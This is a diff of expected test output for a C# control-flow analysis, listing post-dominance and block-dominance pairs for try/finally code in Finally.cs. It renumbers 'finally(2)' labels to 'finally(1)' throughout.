Finally.cs:97:21:97:21 | [finally: continue, finally(1): exception(Exception)] access to local variable i | Finally.cs:97:21:97:24 | [finally: continue, finally(1): exception(Exception)] ...; | | Finally.cs:97:21:97:21 | [finally: continue] access to local variable i | Finally.cs:97:21:97:24 | [finally: continue] ...; | -| Finally.cs:97:21:97:21 | [finally: return, finally(2): exception(Exception)] access to local variable i | Finally.cs:97:21:97:24 | [finally: return, finally(2): exception(Exception)] ...; | +| Finally.cs:97:21:97:21 | [finally: return, finally(1): exception(Exception)] access to local variable i | Finally.cs:97:21:97:24 | [finally: return, finally(1): exception(Exception)] ...; | | Finally.cs:97:21:97:21 | [finally: return] access to local variable i | Finally.cs:97:21:97:24 | [finally: return] ...; | | Finally.cs:97:21:97:21 | access to local variable i | Finally.cs:97:21:97:24 | ...; | | Finally.cs:97:21:97:23 | ...-- | Finally.cs:97:21:97:21 | access to local variable i | -| Finally.cs:97:21:97:23 | [finally(2): exception(Exception)] ...-- | Finally.cs:97:21:97:21 | [finally(2): exception(Exception)] access to local variable i | -| Finally.cs:97:21:97:23 | [finally: break, finally(2): exception(Exception)] ...-- | Finally.cs:97:21:97:21 | [finally: break, finally(2): exception(Exception)] access to local variable i | +| Finally.cs:97:21:97:23 | [finally(1): exception(Exception)] ...-- | Finally.cs:97:21:97:21 | [finally(1): exception(Exception)] access to local variable i | +| Finally.cs:97:21:97:23 | [finally: break, finally(1): exception(Exception)] ...-- | Finally.cs:97:21:97:21 | [finally: break, finally(1): exception(Exception)] access to local variable i | | Finally.cs:97:21:97:23 | [finally: break] ...-- | Finally.cs:97:21:97:21 | [finally: break] access to local variable i | -| Finally.cs:97:21:97:23 | [finally: continue, finally(2): exception(Exception)] ...-- | Finally.cs:97:21:97:21 | [finally: continue, finally(2): exception(Exception)] access to local variable i | +| Finally.cs:97:21:97:23 | [finally: continue, finally(1): exception(Exception)] ...-- | Finally.cs:97:21:97:21 | [finally: continue, finally(1): exception(Exception)] access to local variable i | | Finally.cs:97:21:97:23 | [finally: continue] ...-- | Finally.cs:97:21:97:21 | [finally: continue] access to local variable i | -| Finally.cs:97:21:97:23 | [finally: return, finally(2): exception(Exception)] ...-- | Finally.cs:97:21:97:21 | [finally: return, finally(2): exception(Exception)] access to local variable i | +| Finally.cs:97:21:97:23 | [finally: return, finally(1): exception(Exception)] ...-- | Finally.cs:97:21:97:21 | [finally: return, finally(1): exception(Exception)] access to local variable i | | Finally.cs:97:21:97:23 | [finally: return] ...-- | Finally.cs:97:21:97:21 | [finally: return] access to local variable i | | Finally.cs:97:21:97:24 | ...; | Finally.cs:96:17:98:17 | {...} | -| Finally.cs:97:21:97:24 | [finally(2): exception(Exception)] ...; | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | -| Finally.cs:97:21:97:24 | [finally: break, finally(2): exception(Exception)] ...; | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | +| Finally.cs:97:21:97:24 | [finally(1): exception(Exception)] ...; | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | +| Finally.cs:97:21:97:24 | [finally: break, finally(1): exception(Exception)] ...; | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | | Finally.cs:97:21:97:24 | [finally: break] ...; | Finally.cs:96:17:98:17 | [finally: break] {...} | -| Finally.cs:97:21:97:24 | [finally: continue, finally(2): exception(Exception)] ...; | Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | +| Finally.cs:97:21:97:24 | [finally: continue, finally(1): exception(Exception)] ...; | Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | | Finally.cs:97:21:97:24 | [finally: continue] ...; | Finally.cs:96:17:98:17 | [finally: continue] {...} | -| Finally.cs:97:21:97:24 | [finally: return, finally(2): exception(Exception)] ...; | Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | +| Finally.cs:97:21:97:24 | [finally: return, finally(1): exception(Exception)] ...; | Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | | Finally.cs:97:21:97:24 | [finally: return] ...; | Finally.cs:96:17:98:17 | [finally: return] {...} | | Finally.cs:103:10:103:11 | exit M5 (normal) | Finally.cs:116:17:116:32 | ... > ... | | Finally.cs:103:10:103:11 | exit M5 (normal) | Finally.cs:116:17:116:32 | [finally: return] ... > ... | @@ -6238,35 +6238,35 @@ postDominance | Finally.cs:205:21:205:22 | [finally: exception(Exception)] access to parameter b2 | Finally.cs:205:17:205:47 | [finally: exception(Exception)] if (...) ... | | Finally.cs:205:21:205:22 | [finally: exception(ExceptionA)] access to parameter b2 | Finally.cs:205:17:205:47 | [finally: exception(ExceptionA)] if (...) ... | | Finally.cs:205:21:205:22 | access to parameter b2 | Finally.cs:205:17:205:47 | if (...) ... | -| Finally.cs:208:13:210:13 | [finally(2): exception(ExceptionB)] {...} | Finally.cs:205:25:205:47 | throw ...; | -| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(ExceptionB)] {...} | Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | -| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] {...} | Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | +| Finally.cs:208:13:210:13 | [finally(1): exception(ExceptionB)] {...} | Finally.cs:205:25:205:47 | throw ...; | +| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(ExceptionB)] {...} | Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | +| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] {...} | Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | | Finally.cs:208:13:210:13 | {...} | Finally.cs:205:21:205:22 | access to parameter b2 | -| Finally.cs:209:17:209:47 | [finally(2): exception(Exception)] if (...) ... | Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | -| Finally.cs:209:17:209:47 | [finally(2): exception(ExceptionB)] if (...) ... | Finally.cs:208:13:210:13 | [finally(2): exception(ExceptionB)] {...} | -| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(2): exception(Exception)] if (...) ... | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | -| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(2): exception(ExceptionB)] if (...) ... | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(ExceptionB)] {...} | +| Finally.cs:209:17:209:47 | [finally(1): exception(Exception)] if (...) ... | Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | +| Finally.cs:209:17:209:47 | [finally(1): exception(ExceptionB)] if (...) ... | Finally.cs:208:13:210:13 | [finally(1): exception(ExceptionB)] {...} | +| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(1): exception(Exception)] if (...) ... | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | +| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(1): exception(ExceptionB)] if (...) ... | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(ExceptionB)] {...} | | Finally.cs:209:17:209:47 | [finally: exception(Exception)] if (...) ... | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | -| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(2): exception(Exception)] if (...) ... | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | -| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] if (...) ... | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] {...} | +| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(1): exception(Exception)] if (...) ... | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | +| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] if (...) ... | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] {...} | | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA)] if (...) ... | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | | Finally.cs:209:17:209:47 | if (...) ... | Finally.cs:208:13:210:13 | {...} | -| Finally.cs:209:21:209:22 | [finally(2): exception(Exception)] access to parameter b3 | Finally.cs:209:17:209:47 | [finally(2): exception(Exception)] if (...) ... | -| Finally.cs:209:21:209:22 | [finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:17:209:47 | [finally(2): exception(ExceptionB)] if (...) ... | -| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(Exception)] access to parameter b3 | Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(2): exception(Exception)] if (...) ... | -| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(2): exception(ExceptionB)] if (...) ... | +| Finally.cs:209:21:209:22 | [finally(1): exception(Exception)] access to parameter b3 | Finally.cs:209:17:209:47 | [finally(1): exception(Exception)] if (...) ... | +| Finally.cs:209:21:209:22 | [finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:17:209:47 | [finally(1): exception(ExceptionB)] if (...) ... | +| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(Exception)] access to parameter b3 | Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(1): exception(Exception)] if (...) ... | +| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(1): exception(ExceptionB)] if (...) ... | | Finally.cs:209:21:209:22 | [finally: exception(Exception)] access to parameter b3 | Finally.cs:209:17:209:47 | [finally: exception(Exception)] if (...) ... | -| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(Exception)] access to parameter b3 | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(2): exception(Exception)] if (...) ... | -| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] if (...) ... | +| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(Exception)] access to parameter b3 | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(1): exception(Exception)] if (...) ... | +| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] if (...) ... | | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA)] access to parameter b3 | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA)] if (...) ... | | Finally.cs:209:21:209:22 | access to parameter b3 | Finally.cs:209:17:209:47 | if (...) ... | -| Finally.cs:209:25:209:47 | [finally(2): exception(Exception)] throw ...; | Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:209:25:209:47 | [finally(2): exception(ExceptionB)] throw ...; | Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | -| Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(2): exception(Exception)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(2): exception(ExceptionB)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:209:25:209:47 | [finally(1): exception(Exception)] throw ...; | Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:209:25:209:47 | [finally(1): exception(ExceptionB)] throw ...; | Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(1): exception(Exception)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(1): exception(ExceptionB)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:209:25:209:47 | [finally: exception(Exception)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | -| Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(2): exception(Exception)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(1): exception(Exception)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | | Finally.cs:209:25:209:47 | throw ...; | Finally.cs:209:31:209:46 | object creation of type ExceptionC | | Finally.cs:211:13:211:16 | [finally: exception(Exception)] this access | Finally.cs:211:13:211:29 | [finally: exception(Exception)] ...; | @@ -6324,36 +6324,36 @@ postDominance | Finally.cs:246:25:246:26 | [finally: exception(Exception)] access to parameter b2 | Finally.cs:246:21:247:47 | [finally: exception(Exception)] if (...) ... | | Finally.cs:246:25:246:26 | [finally: exception(ExceptionA)] access to parameter b2 | Finally.cs:246:21:247:47 | [finally: exception(ExceptionA)] if (...) ... | | Finally.cs:246:25:246:26 | access to parameter b2 | Finally.cs:246:21:247:47 | if (...) ... | -| Finally.cs:250:17:252:17 | [finally(2): exception(ExceptionA)] {...} | Finally.cs:247:25:247:47 | throw ...; | -| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(ExceptionA)] {...} | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | -| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] {...} | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | +| Finally.cs:250:17:252:17 | [finally(1): exception(ExceptionA)] {...} | Finally.cs:247:25:247:47 | throw ...; | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(ExceptionA)] {...} | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] {...} | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | | Finally.cs:250:17:252:17 | {...} | Finally.cs:246:25:246:26 | access to parameter b2 | -| Finally.cs:251:21:251:54 | [finally(2): exception(Exception)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | -| Finally.cs:251:21:251:54 | [finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally(2): exception(ExceptionA)] "Inner finally" | -| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(Exception)] "Inner finally" | -| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(ExceptionA)] "Inner finally" | +| Finally.cs:251:21:251:54 | [finally(1): exception(Exception)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally(1): exception(Exception)] "Inner finally" | +| Finally.cs:251:21:251:54 | [finally(1): exception(ExceptionA)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally(1): exception(ExceptionA)] "Inner finally" | +| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(1): exception(Exception)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(1): exception(Exception)] "Inner finally" | +| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(1): exception(ExceptionA)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(1): exception(ExceptionA)] "Inner finally" | | Finally.cs:251:21:251:54 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally: exception(Exception)] "Inner finally" | -| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(Exception)] "Inner finally" | -| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] "Inner finally" | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(1): exception(Exception)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(1): exception(Exception)] "Inner finally" | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] "Inner finally" | | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | | Finally.cs:251:21:251:54 | call to method WriteLine | Finally.cs:251:39:251:53 | "Inner finally" | | Finally.cs:251:21:251:55 | ...; | Finally.cs:250:17:252:17 | {...} | -| Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | -| Finally.cs:251:21:251:55 | [finally(2): exception(ExceptionA)] ...; | Finally.cs:250:17:252:17 | [finally(2): exception(ExceptionA)] {...} | -| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(Exception)] ...; | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | -| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(ExceptionA)] ...; | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(ExceptionA)] {...} | +| Finally.cs:251:21:251:55 | [finally(1): exception(Exception)] ...; | Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | +| Finally.cs:251:21:251:55 | [finally(1): exception(ExceptionA)] ...; | Finally.cs:250:17:252:17 | [finally(1): exception(ExceptionA)] {...} | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(1): exception(Exception)] ...; | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(1): exception(ExceptionA)] ...; | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(ExceptionA)] {...} | | Finally.cs:251:21:251:55 | [finally: exception(Exception)] ...; | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | -| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(Exception)] ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | -| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] {...} | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(1): exception(Exception)] ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] {...} | | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA)] ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | | Finally.cs:251:39:251:53 | "Inner finally" | Finally.cs:251:21:251:55 | ...; | -| Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | -| Finally.cs:251:39:251:53 | [finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:55 | [finally(2): exception(ExceptionA)] ...; | -| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(Exception)] ...; | -| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(ExceptionA)] ...; | +| Finally.cs:251:39:251:53 | [finally(1): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:55 | [finally(1): exception(Exception)] ...; | +| Finally.cs:251:39:251:53 | [finally(1): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:55 | [finally(1): exception(ExceptionA)] ...; | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(1): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(1): exception(Exception)] ...; | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(1): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(1): exception(ExceptionA)] ...; | | Finally.cs:251:39:251:53 | [finally: exception(Exception)] "Inner finally" | Finally.cs:251:21:251:55 | [finally: exception(Exception)] ...; | -| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(Exception)] ...; | -| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] ...; | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(1): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(1): exception(Exception)] ...; | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] ...; | | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA)] ...; | | Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:254:31:254:43 | "Mid finally" | | Finally.cs:254:13:254:45 | ...; | Finally.cs:251:21:251:54 | call to method WriteLine | @@ -10128,12 +10128,12 @@ blockDominance | Finally.cs:74:10:74:11 | enter M4 | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | | Finally.cs:74:10:74:11 | enter M4 | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | | Finally.cs:74:10:74:11 | enter M4 | Finally.cs:93:31:93:45 | object creation of type Exception | -| Finally.cs:74:10:74:11 | enter M4 | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | -| Finally.cs:74:10:74:11 | enter M4 | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | +| Finally.cs:74:10:74:11 | enter M4 | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | +| Finally.cs:74:10:74:11 | enter M4 | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | | Finally.cs:74:10:74:11 | enter M4 | Finally.cs:96:17:98:17 | [finally: break] {...} | -| Finally.cs:74:10:74:11 | enter M4 | Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | +| Finally.cs:74:10:74:11 | enter M4 | Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | | Finally.cs:74:10:74:11 | enter M4 | Finally.cs:96:17:98:17 | [finally: continue] {...} | -| Finally.cs:74:10:74:11 | enter M4 | Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | +| Finally.cs:74:10:74:11 | enter M4 | Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | | Finally.cs:74:10:74:11 | enter M4 | Finally.cs:96:17:98:17 | [finally: return] {...} | | Finally.cs:74:10:74:11 | enter M4 | Finally.cs:96:17:98:17 | {...} | | Finally.cs:74:10:74:11 | exit M4 | Finally.cs:74:10:74:11 | exit M4 | @@ -10158,12 +10158,12 @@ blockDominance | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:93:31:93:45 | object creation of type Exception | -| Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | -| Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | +| Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | +| Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: break] {...} | -| Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | +| Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: continue] {...} | -| Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | +| Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: return] {...} | | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | {...} | | Finally.cs:78:9:100:9 | {...} | Finally.cs:74:10:74:11 | exit M4 (abnormal) | @@ -10182,18 +10182,18 @@ blockDominance | Finally.cs:78:9:100:9 | {...} | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | | Finally.cs:78:9:100:9 | {...} | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | | Finally.cs:78:9:100:9 | {...} | Finally.cs:93:31:93:45 | object creation of type Exception | -| Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | -| Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | +| Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | +| Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | | Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: break] {...} | -| Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | +| Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | | Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: continue] {...} | -| Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | +| Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | | Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | [finally: return] {...} | | Finally.cs:78:9:100:9 | {...} | Finally.cs:96:17:98:17 | {...} | | Finally.cs:82:21:82:27 | return ...; | Finally.cs:82:21:82:27 | return ...; | | Finally.cs:82:21:82:27 | return ...; | Finally.cs:93:25:93:46 | [finally: return] throw ...; | | Finally.cs:82:21:82:27 | return ...; | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | -| Finally.cs:82:21:82:27 | return ...; | Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | +| Finally.cs:82:21:82:27 | return ...; | Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | | Finally.cs:82:21:82:27 | return ...; | Finally.cs:96:17:98:17 | [finally: return] {...} | | Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:83:17:84:29 | if (...) ... | | Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:84:21:84:29 | continue; | @@ -10206,16 +10206,16 @@ blockDominance | Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | | Finally.cs:83:17:84:29 | if (...) ... | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | | 